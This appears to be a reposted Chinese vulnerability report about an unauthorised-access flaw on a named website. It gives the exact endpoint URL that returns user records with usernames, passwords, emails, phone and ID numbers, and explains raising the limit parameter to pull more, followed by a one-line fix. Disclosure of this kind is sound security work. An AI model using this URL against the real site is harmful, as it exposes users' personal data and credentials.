本文揭示了一个严重的信息安全问题，详细介绍了如何通过未授权访问直接获取用户敏感信息，包括用户名、密码、邮箱、手机和身份证等。通过示例展示了如何利用特定URL参数控制显示的数据量，最后提出了修复此漏洞的建议。
简要描述
存在未授权访问，直接访问用户所有信息
漏洞证明
https://www.asbtc.com//quenryClient/sys/getPageInfos.do?page=1&limit=100&email=&clientName=&tel=&status=&hz_key=
包含用户名，密码，邮箱，手机，身份证
拼接如：
https://www.asbtc.com//upload/153279326288＊＊＊.jpg
控制显示长度只需调整limit和page参数如limit=200
https://www.asbtc.com//quenryClient/sys/getPageInfos.do?page=1&limit=200&email=&clientName=&tel=&status=&hz_key=
修复方案：
控制访问权限
扫一扫
7667
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
